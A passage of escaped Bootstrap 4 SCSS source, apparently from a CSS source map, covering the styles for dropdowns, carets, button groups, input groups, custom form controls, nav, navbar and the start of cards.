$dropdown-link-active-color;\n    text-decoration: none;\n    @include gradient-bg($dropdown-link-active-bg);\n  }\n\n  &.disabled,\n  &:disabled {\n    color: $dropdown-link-disabled-color;\n    background-color: transparent;\n    // Remove CSS gradients if they're enabled\n    @if $enable-gradients {\n      background-image: none;\n    }\n  }\n}\n\n.dropdown-menu.show {\n  display: block;\n}\n\n// Dropdown section headers\n.dropdown-header {\n  display: block;\n  padding: $dropdown-padding-y $dropdown-item-padding-x;\n  margin-bottom: 0; // for use with heading elements\n  font-size: $font-size-sm;\n  color: $dropdown-header-color;\n  white-space: nowrap; // as with > li > a\n}\n\n// Dropdown text\n.dropdown-item-text {\n  display: block;\n  padding: $dropdown-item-padding-y $dropdown-item-padding-x;\n  color: $dropdown-link-color;\n}\n","@mixin caret-down {\n  border-top: $caret-width solid;\n  border-right: $caret-width solid transparent;\n  border-bottom: 0;\n  border-left: $caret-width solid transparent;\n}\n\n@mixin caret-up {\n  border-top: 0;\n  border-right: $caret-width solid transparent;\n  border-bottom: $caret-width solid;\n  border-left: $caret-width solid transparent;\n}\n\n@mixin caret-right {\n  border-top: $caret-width solid transparent;\n  border-right: 0;\n  border-bottom: $caret-width solid transparent;\n  border-left: $caret-width solid;\n}\n\n@mixin caret-left {\n  border-top: $caret-width solid transparent;\n  border-right: $caret-width solid;\n  border-bottom: $caret-width solid transparent;\n}\n\n@mixin caret($direction: down) {\n  @if $enable-caret {\n    &::after {\n      display: inline-block;\n      width: 0;\n      height: 0;\n      margin-left: $caret-width * .85;\n      vertical-align: $caret-width * .85;\n      content: \"\";\n      @if $direction == down {\n        @include caret-down;\n      } @else if $direction == up {\n        @include caret-up;\n      } @else if $direction == right {\n        @include caret-right;\n      }\n    }\n\n    @if $direction == left {\n      &::after {\n        display: none;\n      }\n\n      &::before {\n        display: inline-block;\n        width: 0;\n        height: 0;\n        margin-right: $caret-width * .85;\n        vertical-align: $caret-width * .85;\n        content: \"\";\n        @include caret-left;\n      }\n    }\n\n    &:empty::after {\n      margin-left: 0;\n    }\n  }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n@mixin nav-divider($color: $nav-divider-color, $margin-y: $nav-divider-margin-y) {\n  height: 0;\n  margin: $margin-y 0;\n  overflow: hidden;\n  border-top: 1px solid $color;\n}\n","// stylelint-disable selector-no-qualifying-type\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-flex;\n  vertical-align: middle; // match .btn alignment given font-size hack above\n\n  > .btn {\n    position: relative;\n    flex: 0 1 auto;\n\n    // Bring the hover, focused, and \"active\" buttons to the front to overlay\n    // the borders properly\n    @include hover {\n      z-index: 1;\n    }\n    &:focus,\n    &:active,\n    &.active {\n      z-index: 1;\n    }\n  }\n\n  // Prevent double borders when buttons are next to each other\n  .btn + .btn,\n  .btn + .btn-group,\n  .btn-group + .btn,\n  .btn-group + .btn-group {\n    margin-left: -$btn-border-width;\n  }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: flex-start;\n\n  .input-group {\n    width: auto;\n  }\n}\n\n.btn-group {\n  > .btn:first-child {\n    margin-left: 0;\n  }\n\n  // Reset rounded corners\n  > .btn:not(:last-child):not(.dropdown-toggle),\n  > .btn-group:not(:last-child) > .btn {\n    @include border-right-radius(0);\n  }\n\n  > .btn:not(:first-child),\n  > .btn-group:not(:first-child) > .btn {\n    @include border-left-radius(0);\n  }\n}\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-sm > .btn { @extend .btn-sm; }\n.btn-group-lg > .btn { @extend .btn-lg; }\n\n\n//\n// Split button dropdowns\n//\n\n.dropdown-toggle-split {\n  padding-right: $btn-padding-x * .75;\n  padding-left: $btn-padding-x * .75;\n\n  &::after,\n  .dropup &::after,\n  .dropright &::after {\n    margin-left: 0;\n  }\n\n  .dropleft &::before {\n    margin-right: 0;\n  }\n}\n\n.btn-sm + .dropdown-toggle-split {\n  padding-right: $btn-padding-x-sm * .75;\n  padding-left: $btn-padding-x-sm * .75;\n}\n\n.btn-lg + .dropdown-toggle-split {\n  padding-right: $btn-padding-x-lg * .75;\n  padding-left: $btn-padding-x-lg * .75;\n}\n\n\n// The clickable button for toggling the menu\n// Set the same inset shadow as the :active state\n.btn-group.show .dropdown-toggle {\n  @include box-shadow($btn-active-box-shadow);\n\n  // Show no shadow for `.btn-link` since it has no other button styles.\n  &.btn-link {\n    @include box-shadow(none);\n  }\n}\n\n\n//\n// Vertical button groups\n//\n\n.btn-group-vertical {\n  flex-direction: column;\n  align-items: flex-start;\n  justify-content: center;\n\n  .btn,\n  .btn-group {\n    width: 100%;\n  }\n\n  > .btn + .btn,\n  > .btn + .btn-group,\n  > .btn-group + .btn,\n  > .btn-group + .btn-group {\n    margin-top: -$btn-border-width;\n    margin-left: 0;\n  }\n\n  // Reset rounded corners\n  > .btn:not(:last-child):not(.dropdown-toggle),\n  > .btn-group:not(:last-child) > .btn {\n    @include border-bottom-radius(0);\n  }\n\n  > .btn:not(:first-child),\n  > .btn-group:not(:first-child) > .btn {\n    @include border-top-radius(0);\n  }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n.btn-group-toggle {\n  > .btn,\n  > .btn-group > .btn {\n    margin-bottom: 0; // Override default `<label>` value\n\n    input[type=\"radio\"],\n    input[type=\"checkbox\"] {\n      position: absolute;\n      clip: rect(0, 0, 0, 0);\n      pointer-events: none;\n    }\n  }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Base styles\n//\n\n.input-group {\n  position: relative;\n  display: flex;\n  flex-wrap: wrap; // For form validation feedback\n  align-items: stretch;\n  width: 100%;\n\n  > .form-control,\n  > .custom-select,\n  > .custom-file {\n    position: relative; // For focus state's z-index\n    flex: 1 1 auto;\n    // Add width 1% and flex-basis auto to ensure that button will not wrap out\n    // the column. Applies to IE Edge+ and Firefox. Chrome does not require this.\n    width: 1%;\n    margin-bottom: 0;\n\n    // Bring the \"active\" form control to the top of surrounding elements\n    &:focus {\n      z-index: 3;\n    }\n\n    + .form-control,\n    + .custom-select,\n    + .custom-file {\n      margin-left: -$input-border-width;\n    }\n  }\n\n  > .form-control,\n  > .custom-select {\n    &:not(:last-child) { @include border-right-radius(0); }\n    &:not(:first-child) { @include border-left-radius(0); }\n  }\n\n  // Custom file inputs have more complex markup, thus requiring different\n  // border-radius overrides.\n  > .custom-file {\n    display: flex;\n    align-items: center;\n\n    &:not(:last-child) .custom-file-label,\n    &:not(:last-child) .custom-file-label::after { @include border-right-radius(0); }\n    &:not(:first-child) .custom-file-label,\n    &:not(:first-child) .custom-file-label::after { @include border-left-radius(0); }\n  }\n}\n\n\n// Prepend and append\n//\n// While it requires one extra layer of HTML for each, dedicated prepend and\n// append elements allow us to 1) be less clever, 2) simplify our selectors, and\n// 3) support HTML5 form validation.\n\n.input-group-prepend,\n.input-group-append {\n  display: flex;\n\n  // Ensure buttons are always above inputs for more visually pleasing borders.\n  // This isn't needed for `.input-group-text` since it shares the same border-color\n  // as our inputs.\n  .btn {\n    position: relative;\n    z-index: 2;\n  }\n\n  .btn + .btn,\n  .btn + .input-group-text,\n  .input-group-text + .input-group-text,\n  .input-group-text + .btn {\n    margin-left: -$input-border-width;\n  }\n}\n\n.input-group-prepend { margin-right: -$input-border-width; }\n.input-group-append { margin-left: -$input-border-width; }\n\n\n// Textual addons\n//\n// Serves as a catch-all element for any text or radio/checkbox input you wish\n// to prepend or append to an input.\n\n.input-group-text {\n  display: flex;\n  align-items: center;\n  padding: $input-padding-y $input-padding-x;\n  margin-bottom: 0; // Allow use of <label> elements by overriding our default margin-bottom\n  font-size: $font-size-base; // Match inputs\n  font-weight: $font-weight-normal;\n  line-height: $input-line-height;\n  color: $input-group-addon-color;\n  text-align: center;\n  white-space: nowrap;\n  background-color: $input-group-addon-bg;\n  border: $input-border-width solid $input-group-addon-border-color;\n  @include border-radius($input-border-radius);\n\n  // Nuke default margins from checkboxes and radios to vertically center within.\n  input[type=\"radio\"],\n  input[type=\"checkbox\"] {\n    margin-top: 0;\n  }\n}\n\n\n// Sizing\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n  @extend .form-control-lg;\n}\n\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n  @extend .form-control-sm;\n}\n\n\n// Prepend and append rounded corners\n//\n// These rulesets must come after the sizing ones to properly override sm and lg\n// border-radius values when extending. They're more specific than we'd like\n// with the `.input-group >` part, but without it, we cannot override the sizing.\n\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n  @include border-right-radius(0);\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n  @include border-left-radius(0);\n}\n","// Embedded icons from Open Iconic.\n// Released under MIT and copyright 2014 Waybury.\n// https://useiconic.com/open\n\n\n// Checkboxes and radios\n//\n// Base class takes care of all the key behavioral aspects.\n\n.custom-control {\n  position: relative;\n  display: block;\n  min-height: (1rem * $line-height-base);\n  padding-left: $custom-control-gutter;\n}\n\n.custom-control-inline {\n  display: inline-flex;\n  margin-right: $custom-control-spacer-x;\n}\n\n.custom-control-input {\n  position: absolute;\n  z-index: -1; // Put the input behind the label so it doesn't overlay text\n  opacity: 0;\n\n  &:checked ~ .custom-control-label::before {\n    color: $custom-control-indicator-checked-color;\n    @include gradient-bg($custom-control-indicator-checked-bg);\n    @include box-shadow($custom-control-indicator-checked-box-shadow);\n  }\n\n  &:focus ~ .custom-control-label::before {\n    // the mixin is not used here to make sure there is feedback\n    box-shadow: $custom-control-indicator-focus-box-shadow;\n  }\n\n  &:active ~ .custom-control-label::before {\n    color: $custom-control-indicator-active-color;\n    background-color: $custom-control-indicator-active-bg;\n    @include box-shadow($custom-control-indicator-active-box-shadow);\n  }\n\n  &:disabled {\n    ~ .custom-control-label {\n      color: $custom-control-label-disabled-color;\n\n      &::before {\n        background-color: $custom-control-indicator-disabled-bg;\n      }\n    }\n  }\n}\n\n// Custom control indicators\n//\n// Build the custom controls out of psuedo-elements.\n\n.custom-control-label {\n  margin-bottom: 0;\n\n  // Background-color and (when enabled) gradient\n  &::before {\n    position: absolute;\n    top: (($line-height-base - $custom-control-indicator-size) / 2);\n    left: 0;\n    display: block;\n    width: $custom-control-indicator-size;\n    height: $custom-control-indicator-size;\n    pointer-events: none;\n    content: \"\";\n    user-select: none;\n    background-color: $custom-control-indicator-bg;\n    @include box-shadow($custom-control-indicator-box-shadow);\n  }\n\n  // Foreground (icon)\n  &::after {\n    position: absolute;\n    top: (($line-height-base - $custom-control-indicator-size) / 2);\n    left: 0;\n    display: block;\n    width: $custom-control-indicator-size;\n    height: $custom-control-indicator-size;\n    content: \"\";\n    background-repeat: no-repeat;\n    background-position: center center;\n    background-size: $custom-control-indicator-bg-size;\n  }\n}\n\n\n// Checkboxes\n//\n// Tweak just a few things for checkboxes.\n\n.custom-checkbox {\n  .custom-control-label::before {\n    @include border-radius($custom-checkbox-indicator-border-radius);\n  }\n\n  .custom-control-input:checked ~ .custom-control-label {\n    &::before {\n      @include gradient-bg($custom-control-indicator-checked-bg);\n    }\n    &::after {\n      background-image: $custom-checkbox-indicator-icon-checked;\n    }\n  }\n\n  .custom-control-input:indeterminate ~ .custom-control-label {\n    &::before {\n      @include gradient-bg($custom-checkbox-indicator-indeterminate-bg);\n      @include box-shadow($custom-checkbox-indicator-indeterminate-box-shadow);\n    }\n    &::after {\n      background-image: $custom-checkbox-indicator-icon-indeterminate;\n    }\n  }\n\n  .custom-control-input:disabled {\n    &:checked ~ .custom-control-label::before {\n      background-color: $custom-control-indicator-checked-disabled-bg;\n    }\n    &:indeterminate ~ .custom-control-label::before {\n      background-color: $custom-control-indicator-checked-disabled-bg;\n    }\n  }\n}\n\n// Radios\n//\n// Tweak just a few things for radios.\n\n.custom-radio {\n  .custom-control-label::before {\n    border-radius: $custom-radio-indicator-border-radius;\n  }\n\n  .custom-control-input:checked ~ .custom-control-label {\n    &::before {\n      @include gradient-bg($custom-control-indicator-checked-bg);\n    }\n    &::after {\n      background-image: $custom-radio-indicator-icon-checked;\n    }\n  }\n\n  .custom-control-input:disabled {\n    &:checked ~ .custom-control-label::before {\n      background-color: $custom-control-indicator-checked-disabled-bg;\n    }\n  }\n}\n\n\n// Select\n//\n// Replaces the browser default select with a custom one, mostly pulled from\n// https://primer.github.io/.\n//\n\n.custom-select {\n  display: inline-block;\n  width: 100%;\n  height: $custom-select-height;\n  padding: $custom-select-padding-y ($custom-select-padding-x + $custom-select-indicator-padding) $custom-select-padding-y $custom-select-padding-x;\n  line-height: $custom-select-line-height;\n  color: $custom-select-color;\n  vertical-align: middle;\n  background: $custom-select-bg $custom-select-indicator no-repeat right $custom-select-padding-x center;\n  background-size: $custom-select-bg-size;\n  border: $custom-select-border-width solid $custom-select-border-color;\n  @if $enable-rounded {\n    border-radius: $custom-select-border-radius;\n  } @else {\n    border-radius: 0;\n  }\n  appearance: none;\n\n  &:focus {\n    border-color: $custom-select-focus-border-color;\n    outline: 0;\n    box-shadow: $custom-select-focus-box-shadow;\n\n    &::-ms-value {\n      // For visual consistency with other platforms/browsers,\n      // suppress the default white text on blue background highlight given to\n      // the selected option text when the (still closed) <select> receives focus\n      // in IE and (under certain conditions) Edge.\n      // See https://github.com/twbs/bootstrap/issues/19398.\n      color: $input-color;\n      background-color: $input-bg;\n    }\n  }\n\n  &[multiple],\n  &[size]:not([size=\"1\"]) {\n    height: auto;\n    padding-right: $custom-select-padding-x;\n    background-image: none;\n  }\n\n  &:disabled {\n    color: $custom-select-disabled-color;\n    background-color: $custom-select-disabled-bg;\n  }\n\n  // Hides the default caret in IE11\n  &::-ms-expand {\n    opacity: 0;\n  }\n}\n\n.custom-select-sm {\n  height: $custom-select-height-sm;\n  padding-top: $custom-select-padding-y;\n  padding-bottom: $custom-select-padding-y;\n  font-size: $custom-select-font-size-sm;\n}\n\n.custom-select-lg {\n  height: $custom-select-height-lg;\n  padding-top: $custom-select-padding-y;\n  padding-bottom: $custom-select-padding-y;\n  font-size: $custom-select-font-size-lg;\n}\n\n\n// File\n//\n// Custom file input.\n\n.custom-file {\n  position: relative;\n  display: inline-block;\n  width: 100%;\n  height: $custom-file-height;\n  margin-bottom: 0;\n}\n\n.custom-file-input {\n  position: relative;\n  z-index: 2;\n  width: 100%;\n  height: $custom-file-height;\n  margin: 0;\n  opacity: 0;\n\n  &:focus ~ .custom-file-label {\n    border-color: $custom-file-focus-border-color;\n    box-shadow: $custom-file-focus-box-shadow;\n\n    &::after {\n      border-color: $custom-file-focus-border-color;\n    }\n  }\n\n  @each $lang, $value in $custom-file-text {\n    &:lang(#{$lang}) ~ .custom-file-label::after {\n      content: $value;\n    }\n  }\n}\n\n.custom-file-label {\n  position: absolute;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1;\n  height: $custom-file-height;\n  padding: $custom-file-padding-y $custom-file-padding-x;\n  line-height: $custom-file-line-height;\n  color: $custom-file-color;\n  background-color: $custom-file-bg;\n  border: $custom-file-border-width solid $custom-file-border-color;\n  @include border-radius($custom-file-border-radius);\n  @include box-shadow($custom-file-box-shadow);\n\n  &::after {\n    position: absolute;\n    top: 0;\n    right: 0;\n    bottom: 0;\n    z-index: 3;\n    display: block;\n    height: calc(#{$custom-file-height} - #{$custom-file-border-width} * 2);\n    padding: $custom-file-padding-y $custom-file-padding-x;\n    line-height: $custom-file-line-height;\n    color: $custom-file-button-color;\n    content: \"Browse\";\n    @include gradient-bg($custom-file-button-bg);\n    border-left: $custom-file-border-width solid $custom-file-border-color;\n    @include border-radius(0 $custom-file-border-radius $custom-file-border-radius 0);\n  }\n}\n\n// Range\n//\n// Style range inputs the same across browsers. Vendor-specific rules for psuedo\n// elements cannot be mixed. As such, there are no shared styles for focus or\n// active states on prefixed selectors.\n\n.custom-range {\n  width: 100%;\n  padding-left: 0; // Firefox specific\n  background-color: transparent;\n  appearance: none;\n\n  &:focus {\n    outline: none;\n  }\n\n  &::-moz-focus-outer {\n    border: 0;\n  }\n\n  &::-webkit-slider-thumb {\n    width: $custom-range-thumb-width;\n    height: $custom-range-thumb-height;\n    margin-top: -($custom-range-thumb-width * .25); // Webkit specific?\n    @include gradient-bg($custom-range-thumb-bg);\n    border: $custom-range-thumb-border;\n    @include border-radius($custom-range-thumb-border-radius);\n    @include box-shadow($custom-range-thumb-box-shadow);\n    appearance: none;\n\n    &:focus {\n      outline: none;\n      box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n    }\n\n    &:active {\n      @include gradient-bg($custom-range-thumb-active-bg);\n    }\n  }\n\n  &::-webkit-slider-runnable-track {\n    width: $custom-range-track-width;\n    height: $custom-range-track-height;\n    color: transparent; // Why?\n    cursor: $custom-range-track-cursor;\n    background-color: $custom-range-track-bg;\n    border-color: transparent;\n    @include border-radius($custom-range-track-border-radius);\n    @include box-shadow($custom-range-track-box-shadow);\n  }\n\n  &::-moz-range-thumb {\n    width: $custom-range-thumb-width;\n    height: $custom-range-thumb-height;\n    @include gradient-bg($custom-range-thumb-bg);\n    border: $custom-range-thumb-border;\n    @include border-radius($custom-range-thumb-border-radius);\n    @include box-shadow($custom-range-thumb-box-shadow);\n    appearance: none;\n\n    &:focus {\n      outline: none;\n      box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n    }\n\n    &:active {\n      @include gradient-bg($custom-range-thumb-active-bg);\n    }\n  }\n\n  &::-moz-range-track {\n    width: $custom-range-track-width;\n    height: $custom-range-track-height;\n    color: transparent;\n    cursor: $custom-range-track-cursor;\n    background-color: $custom-range-track-bg;\n    border-color: transparent; // Firefox specific?\n    @include border-radius($custom-range-track-border-radius);\n    @include box-shadow($custom-range-track-box-shadow);\n  }\n\n  &::-ms-thumb {\n    width: $custom-range-thumb-width;\n    height: $custom-range-thumb-height;\n    @include gradient-bg($custom-range-thumb-bg);\n    border: $custom-range-thumb-border;\n    @include border-radius($custom-range-thumb-border-radius);\n    @include box-shadow($custom-range-thumb-box-shadow);\n    appearance: none;\n\n    &:focus {\n      outline: none;\n      box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n    }\n\n    &:active {\n      @include gradient-bg($custom-range-thumb-active-bg);\n    }\n  }\n\n  &::-ms-track {\n    width: $custom-range-track-width;\n    height: $custom-range-track-height;\n    color: transparent;\n    cursor: $custom-range-track-cursor;\n    background-color: transparent;\n    border-color: transparent;\n    border-width: ($custom-range-thumb-height * .5);\n    @include box-shadow($custom-range-track-box-shadow);\n  }\n\n  &::-ms-fill-lower {\n    background-color: $custom-range-track-bg;\n    @include border-radius($custom-range-track-border-radius);\n  }\n\n  &::-ms-fill-upper {\n    margin-right: 15px; // arbitrary?\n    background-color: $custom-range-track-bg;\n    @include border-radius($custom-range-track-border-radius);\n  }\n}\n","// Base class\n//\n// Kickstart any navigation component with a set of style resets. Works with\n// `<nav>`s or `<ul>`s.\n\n.nav {\n  display: flex;\n  flex-wrap: wrap;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.nav-link {\n  display: block;\n  padding: $nav-link-padding-y $nav-link-padding-x;\n\n  @include hover-focus {\n    text-decoration: none;\n  }\n\n  // Disabled state lightens text\n  &.disabled {\n    color: $nav-link-disabled-color;\n  }\n}\n\n//\n// Tabs\n//\n\n.nav-tabs {\n  border-bottom: $nav-tabs-border-width solid $nav-tabs-border-color;\n\n  .nav-item {\n    margin-bottom: -$nav-tabs-border-width;\n  }\n\n  .nav-link {\n    border: $nav-tabs-border-width solid transparent;\n    @include border-top-radius($nav-tabs-border-radius);\n\n    @include hover-focus {\n      border-color: $nav-tabs-link-hover-border-color;\n    }\n\n    &.disabled {\n      color: $nav-link-disabled-color;\n      background-color: transparent;\n      border-color: transparent;\n    }\n  }\n\n  .nav-link.active,\n  .nav-item.show .nav-link {\n    color: $nav-tabs-link-active-color;\n    background-color: $nav-tabs-link-active-bg;\n    border-color: $nav-tabs-link-active-border-color;\n  }\n\n  .dropdown-menu {\n    // Make dropdown border overlap tab border\n    margin-top: -$nav-tabs-border-width;\n    // Remove the top rounded corners here since there is a hard edge above the menu\n    @include border-top-radius(0);\n  }\n}\n\n\n//\n// Pills\n//\n\n.nav-pills {\n  .nav-link {\n    @include border-radius($nav-pills-border-radius);\n  }\n\n  .nav-link.active,\n  .show > .nav-link {\n    color: $nav-pills-link-active-color;\n    background-color: $nav-pills-link-active-bg;\n  }\n}\n\n\n//\n// Justified variants\n//\n\n.nav-fill {\n  .nav-item {\n    flex: 1 1 auto;\n    text-align: center;\n  }\n}\n\n.nav-justified {\n  .nav-item {\n    flex-basis: 0;\n    flex-grow: 1;\n    text-align: center;\n  }\n}\n\n\n// Tabbable tabs\n//\n// Hide tabbable panes to start, show them when `.active`\n\n.tab-content {\n  > .tab-pane {\n    display: none;\n  }\n  > .active {\n    display: block;\n  }\n}\n","// Contents\n//\n// Navbar\n// Navbar brand\n// Navbar nav\n// Navbar text\n// Navbar divider\n// Responsive navbar\n// Navbar position\n// Navbar themes\n\n\n// Navbar\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n  position: relative;\n  display: flex;\n  flex-wrap: wrap; // allow us to do the line break for collapsing content\n  align-items: center;\n  justify-content: space-between; // space out brand from logo\n  padding: $navbar-padding-y $navbar-padding-x;\n\n  // Because flex properties aren't inherited, we need to redeclare these first\n  // few properities so that content nested within behave properly.\n  > .container,\n  > .container-fluid {\n    display: flex;\n    flex-wrap: wrap;\n    align-items: center;\n    justify-content: space-between;\n  }\n}\n\n\n// Navbar brand\n//\n// Used for brand, project, or site names.\n\n.navbar-brand {\n  display: inline-block;\n  padding-top: $navbar-brand-padding-y;\n  padding-bottom: $navbar-brand-padding-y;\n  margin-right: $navbar-padding-x;\n  font-size: $navbar-brand-font-size;\n  line-height: inherit;\n  white-space: nowrap;\n\n  @include hover-focus {\n    text-decoration: none;\n  }\n}\n\n\n// Navbar nav\n//\n// Custom navbar navigation (doesn't require `.nav`, but does make use of `.nav-link`).\n\n.navbar-nav {\n  display: flex;\n  flex-direction: column; // cannot use `inherit` to get the `.navbar`s value\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n\n  .nav-link {\n    padding-right: 0;\n    padding-left: 0;\n  }\n\n  .dropdown-menu {\n    position: static;\n    float: none;\n  }\n}\n\n\n// Navbar text\n//\n//\n\n.navbar-text {\n  display: inline-block;\n  padding-top: $nav-link-padding-y;\n  padding-bottom: $nav-link-padding-y;\n}\n\n\n// Responsive navbar\n//\n// Custom styles for responsive collapsing and toggling of navbar contents.\n// Powered by the collapse Bootstrap JavaScript plugin.\n\n// When collapsed, prevent the toggleable navbar contents from appearing in\n// the default flexbox row orienation. Requires the use of `flex-wrap: wrap`\n// on the `.navbar` parent.\n.navbar-collapse {\n  flex-basis: 100%;\n  flex-grow: 1;\n  // For always expanded or extra full navbars, ensure content aligns itself\n  // properly vertically. Can be easily overridden with flex utilities.\n  align-items: center;\n}\n\n// Button for toggling the navbar when in its collapsed state\n.navbar-toggler {\n  padding: $navbar-toggler-padding-y $navbar-toggler-padding-x;\n  font-size: $navbar-toggler-font-size;\n  line-height: 1;\n  background-color: transparent; // remove default button style\n  border: $border-width solid transparent; // remove default button style\n  @include border-radius($navbar-toggler-border-radius);\n\n  @include hover-focus {\n    text-decoration: none;\n  }\n\n  // Opinionated: add \"hand\" cursor to non-disabled .navbar-toggler elements\n  &:not(:disabled):not(.disabled) {\n    cursor: pointer;\n  }\n}\n\n// Keep as a separate element so folks can easily override it with another icon\n// or image file as needed.\n.navbar-toggler-icon {\n  display: inline-block;\n  width: 1.5em;\n  height: 1.5em;\n  vertical-align: middle;\n  content: \"\";\n  background: no-repeat center center;\n  background-size: 100% 100%;\n}\n\n// Generate series of `.navbar-expand-*` responsive classes for configuring\n// where your navbar collapses.\n.navbar-expand {\n  @each $breakpoint in map-keys($grid-breakpoints) {\n    $next: breakpoint-next($breakpoint, $grid-breakpoints);\n    $infix: breakpoint-infix($next, $grid-breakpoints);\n\n    &#{$infix} {\n      @include media-breakpoint-down($breakpoint) {\n        > .container,\n        > .container-fluid {\n          padding-right: 0;\n          padding-left: 0;\n        }\n      }\n\n      @include media-breakpoint-up($next) {\n        flex-flow: row nowrap;\n        justify-content: flex-start;\n\n        .navbar-nav {\n          flex-direction: row;\n\n          .dropdown-menu {\n            position: absolute;\n          }\n\n          .nav-link {\n            padding-right: $navbar-nav-link-padding-x;\n            padding-left: $navbar-nav-link-padding-x;\n          }\n        }\n\n        // For nesting containers, have to redeclare for alignment purposes\n        > .container,\n        > .container-fluid {\n          flex-wrap: nowrap;\n        }\n\n        .navbar-collapse {\n          display: flex !important;  // stylelint-disable-line declaration-no-important\n\n          // Changes flex-bases to auto because of an IE10 bug\n          flex-basis: auto;\n        }\n\n        .navbar-toggler {\n          display: none;\n        }\n      }\n    }\n  }\n}\n\n\n// Navbar themes\n//\n// Styles for switching between navbars with light or dark background.\n\n// Dark links against a light background\n.navbar-light {\n  .navbar-brand {\n    color: $navbar-light-active-color;\n\n    @include hover-focus {\n      color: $navbar-light-active-color;\n    }\n  }\n\n  .navbar-nav {\n    .nav-link {\n      color: $navbar-light-color;\n\n      @include hover-focus {\n        color: $navbar-light-hover-color;\n      }\n\n      &.disabled {\n        color: $navbar-light-disabled-color;\n      }\n    }\n\n    .show > .nav-link,\n    .active > .nav-link,\n    .nav-link.show,\n    .nav-link.active {\n      color: $navbar-light-active-color;\n    }\n  }\n\n  .navbar-toggler {\n    color: $navbar-light-color;\n    border-color: $navbar-light-toggler-border-color;\n  }\n\n  .navbar-toggler-icon {\n    background-image: $navbar-light-toggler-icon-bg;\n  }\n\n  .navbar-text {\n    color: $navbar-light-color;\n    a {\n      color: $navbar-light-active-color;\n\n      @include hover-focus {\n        color: $navbar-light-active-color;\n      }\n    }\n  }\n}\n\n// White links against a dark background\n.navbar-dark {\n  .navbar-brand {\n    color: $navbar-dark-active-color;\n\n    @include hover-focus {\n      color: $navbar-dark-active-color;\n    }\n  }\n\n  .navbar-nav {\n    .nav-link {\n      color: $navbar-dark-color;\n\n      @include hover-focus {\n        color: $navbar-dark-hover-color;\n      }\n\n      &.disabled {\n        color: $navbar-dark-disabled-color;\n      }\n    }\n\n    .show > .nav-link,\n    .active > .nav-link,\n    .nav-link.show,\n    .nav-link.active {\n      color: $navbar-dark-active-color;\n    }\n  }\n\n  .navbar-toggler {\n    color: $navbar-dark-color;\n    border-color: $navbar-dark-toggler-border-color;\n  }\n\n  .navbar-toggler-icon {\n    background-image: $navbar-dark-toggler-icon-bg;\n  }\n\n  .navbar-text {\n    color: $navbar-dark-color;\n    a {\n      color: $navbar-dark-active-color;\n\n      @include hover-focus {\n        color: $navbar-dark-active-color;\n      }\n    }\n  }\n}\n","//\n// Base styles\n//\n\n.card {\n  position: relative;\n  display: flex;\n  flex-direction: column;\n  min-width: 0;\n  word-wrap: break-word;\n  background-color: $card-bg;\n  background-clip: border-box;\n  border: $card-border-width solid $card-border-color;\n  @include border-radius($card-border-radius);\n\n  > hr {\n    margin-right: 0;\n    margin-left: 0;\n  }\n\n  > .list-group:first-child {\n    .list-group-item:first-child {\n      @include border-top-radius($card-border-radius);\n    }\n  }\n\n  > .list-group:last-child {\n    .list-group-item:last-child {\n      @include border-bottom-radius($card-border-radius);\n    }\n  }\n}\n\n.card-body {\n  // Enable `flex-grow: 1` for decks and groups so that card blocks take up\n  // as much space as possible, ensuring footers are aligned to the bottom.\n  flex: 1 1 auto;\n  padding: $card-spacer-x;\n}\n\n.card-title {\n  margin-bottom: $card-spacer-y;\n}\n\n.card-subtitle {\n  margin-top: -($card-spacer-y / 2);\n  margin-bottom: 0;\n}\n\n.card-text:last-child {\n  margin-bottom: 0;\n}\n\n.card-link {\n  @include hover {\n    text-decoration: none;\n  }\n\n  + .card-link {\n    margin-left: $card-spacer-x;\n  }\n}\n\n//\n// Optional textual caps\n//\n\n.card-header {\n  padding: $card-spacer-y $card-spacer-x;\n  margin-bottom: 0; // Removes the default margin-bottom of <hN>\n  background-color: $card-cap-bg;\n  border-bottom: $card-border-width solid $card-border-color;\n\n  &:first-child {\n    @include border-radius($card-inner-border-radius $card-inner-border-radius 0 0);\n  }\n\n  + 